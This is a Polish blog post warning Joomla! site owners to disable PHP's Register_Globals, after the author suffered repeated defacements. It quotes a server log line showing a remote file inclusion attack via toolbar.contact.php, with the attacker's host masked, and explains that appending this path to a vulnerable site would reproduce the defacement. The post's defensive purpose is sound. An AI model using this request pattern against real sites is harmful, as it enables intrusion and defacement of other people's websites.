Drodzy posiadacze stron zbudowanych w Joomla! Do was kieruję ten wpis. Mamy lato, a to nic innego, jak sezon ataków na serwisy zbudowane w Joomla! Nie dajcie się zaskoczyć! Wierzcie mi, że to żadna przyjemność wejść pod własny adres i zamiast strony zobaczyć podpis Turka, jakiś gif i Bóg wie co jeszcze. Temat na własnej skórze przerobiłem i to sześciokrotnie. Nie lekceważcie kwestii bezpieczeństwa swoich witryn.
Wszyscy myślą podobnie: "a kto niby miałby włamywać się na moją stronę? Przecież jest dużo więcej bardziej atrakcyjnych dla hackerów stron. Dlaczego mieliby atakować moją?". No właśnie: dlaczego? A może dlatego, aby połechtać swoją próżność. A może dlatego, aby zdobyć kolejne punkty w rankingu najskuteczniejszych hakierów?
Dobra, do rzeczy. Jak już wspomniałem, na własnej skórze doświadczyłem sześciu skutecznych ataków, a poza tym kilka razy (ostatnio wczoraj) pomagałem pozbierać się właścicielom innych stron, którzy także mieli okazję gościć przybysza z Turcji (tak przynajmniej owi dżentelmeni się podpisują).
Wszystkie "zdobyte" serwisy miały wspólny mianownik: serwer, na którym były zainstalowane, nie spełniał zaleceń Joomla!. Chodzi o funkcję Register_Globals, która pozwala na wykonywanie zmiennych globalnych. Jeśli Twój serwer ma włączoną tę funkcję (Register_Globals = ON), to w każdej chwili ktoś Ci może wyciąć numer. Nawet ja.
Popatrz na to:
81.214.161.185 - - [28/Mar/2007:23:32:36 +0200] "GET /administrator/components/com_contact/toolbar.contact.php?mosConfig_absolute_path=http://www.************.us/*****.txt? HTTP/1.1" 200 29 "-" "Microsoft URL Control – 6.01.9782"
Oto tylko jedna linia logu serwera. Mojego serwera i mojej strony, której strona główna została bezczelnie podmieniona dnia 28 marca bieżącego roku. Register_Globals była włączona, bo administrator uparł się, że mają własne triki zapewniające bezpieczeństwo serwisów, dzięki którym do tej pory nie odnotowali żadnego ataku na postawiony na ich serwerach CMS Joomla!. Odpuściłem, no bo cóż: skoro facet tak mówi, to pewnie wie co mówi. To było niedługo po zmianie serwera, bo na poprzednim zaliczyłem 5 ataków (w tym trzy w ciągu czterech dni) i admin wyłączył RG.
Zajmijmy się teraz najważniejszym fragmentem powyższej linijki z logu.
/administrator/components/com_contact/toolbar.contact.php?mosConfig_absolute_path=http://www.************.us/*****.txt?
Co widać? A widać znajomy katalog "administrator", dalej również doskonale znany katalog "components", następny katalog "com_contact" także nie jest nikomu obcy (zobacz, u Ciebie też jest), a dalej plik "toolbar.contact.php". Też go masz, sprawdź! A dalej... no właśnie: co to się do niego przykleiło? Albo raczej: kto, co i dlaczego to przykleił?
Gdybym wpisał adres Twojej strony, a po nim powyższy fragment (zaczynając od "administrator", a na znaku zapytania skończywszy), to z Twoją stroną stałoby się dokładnie to samo, co z moją. Czyli: zamiast strony głównej swojego serwisu zobaczyłbyś kretyńską czaszkę z kretyńskimi napisami na równie kretyńskim tle, a do tego grała by jeszcze bardziej kretyńska melodyjka. Ale to jeszcze nie wszystko! Najbardziej kretyńskim w tym wszystkim byłby apel o zaprzestanie prześladowania Osamy bin Ladena!
Atakujący skorzystał z jednego z plików Joomla! (w tym przypadku był to toolbar.contact.php, ale wykorzystać można każdy inny) i za pomocą tego pliku odpalił swój skrypt zawarty w pliku tekstowym.
Uprzedzając pytania: nie znam więcej szczegółów. Ściągnąłem ten plik .txt (adres serwera i nazwę pliku na wszelki wypadek wygwiazdkowałem) i kilka dni leżał sobie na dysku. Kiedy po raz pierwszy zajrzałem do niego, zobaczyłem trochę php, trochę html i trochę nieznanego. Wszystko było zbyt zagmatwane, abym ze swoją wiedzą mógł to rozgryźć, toteż postanowiłem wysłać ten plik znajomemu programiście (pozdrawiam, Martin :) ). Tak się złożyło, że niedługo po tym przełączyłem sie na Windows (normalnie korzystam z Linuksa) i siedząc na tej "Windzie" zechciałem jeszcze raz zajrzeć do tego pliku. Wystarczyło musnąć go kursorem, aby antywirus zaczął się wydzierać, że właśnie usunął trojana. I po pliku. Jako, że ten mój znajomy używa Windowsa, natychmiast ostrzegłem go przed tym plikiem (bo jeszcze pomyśli, że chciałem mu konika trojańskiego podrzucić i co wtedy? ;) ) Tak czy siak okazało się, że te tajemnicze ciągi znaków, to jakiś niebezpieczny kod.
Wróćmy do kwestii ataku.
...toolbar.contact.php?mosConfig_absolute_path=http://itd. To przykład wywołania zmiennej globalnej. W ten sposób można wykonywać pliki znajdujące się na zewnętrznych serwerach zarówno w dobrych, jak i niecnych celach. Jest to możliwe, kiedy zmienna Register_Glonals jest włączona. A na większości serwerów jest, bowiem korzystają z tego m.in. bardzo popularne sklepy internetowe.
Jednak CMS-owi Joomla! do niczego działająca Register_Globals nie jest potrzebna, a wręcz przeciwnie:
"Register_Globals = ON" znaczy dokładnie tyle, co lokaj, któremu kazałeś wpuszczać każdego, kto zapuka do drzwi.
Dla Joomla Register_Globals musi być wyłączona. Pamiętaj: "Register_Globals ma być OFF" - i z wbiciem sobie tego do głowy nie czekaj do chwili ataku na Twoją stronę. Niby nie odnotowano jakiś większych szkód spowodowanych tego typu atakami, ale do stracenia i tak jest sporo:
- nerwy
- prestiż witryny
- użytkownicy/potencjalni klienci
- czas. Twój cenny czas
Po serii ataków z zeszłego roku, twórcy Joomla zrobili ukłon w stronę zapominalskich i ignorantów umieszczając w Panelu Administracyjnym przypomnienie o konieczności wyłączenia Register_Globals: już nie tylko podczas instalacji Joomla informuje o nieprawidłowej konfiguracji serwera, ale też podczas użytkowania. Jeśli w panelu administracyjnym widzisz czerwony komunikat na żółtym tle informujący o nieprawidłowym ustawieniu RG – napisz do obsługi swojego hostingu. Rzuć im nawet linkiem do tego wpisu.
Gdybym to ja pisał tłumaczenie do Joomla, to już na etapie instalatora komunikat dotyczący zalecanego ustawienia RG wyglądałby tak: "Register_Globals ma być OFF, bo inaczej dojadą cię Turki" - albo jeszcze dobitniej. Bo prawda jest taka, że większość podchodzi do sprawy zalecanych ustawień PHP tak: "Po co zmieniać? Przecież działa."
Działa do czasu, aż Turcy odpalą działa. Wtedy biedni webmasterzy podnoszą lament na forach, że Joomla jest dziurawa jak sito (albo durszlak), że nikt im nie powiedział jak się zabezpieczyć itd.
Jeśli instalator mówi, że ma być TAK, to znaczy, że ma być TAK, a nie siak. Joomla to potężne oprogramowanie i wymaga pewnych zabiegów, aby środowisko pracy było optymalne. Zmiana ustawień serwera to żaden problem: można wybiórczo dla konkretnych subdomen zmieniać ustawienia, więc nie krępujcie się i nalegajcie, aby administratorzy Waszych serwerów dostosowywali konfigurację do zalecanej przez programistów Joomla.
Latem zeszłego roku była prawdziwa plaga ataków na serwisy postawione na Joomla lub Mambo. Czytałem uważnie zażalenia poszkodowanych (z niektórymi rozmawiałem via PW) i wszystkie przypadki opierały się o ten sam schemat. Teraz znowu nadeszło lato, wakacje i zaczyna się... w statystykach mojej strony z dnia na dzień przybywa wejść z wyszukiwarek, gdzie odwiedzający wpisują frazy w stylu "włamali mi się na stronę Joomla" - stąd właśnie pomysł na ten wpis. Nie lekceważcie bezpieczeństwa swoich serwisów.
Warto przeczytać: 10 najgłupszych tricków administratora Joomla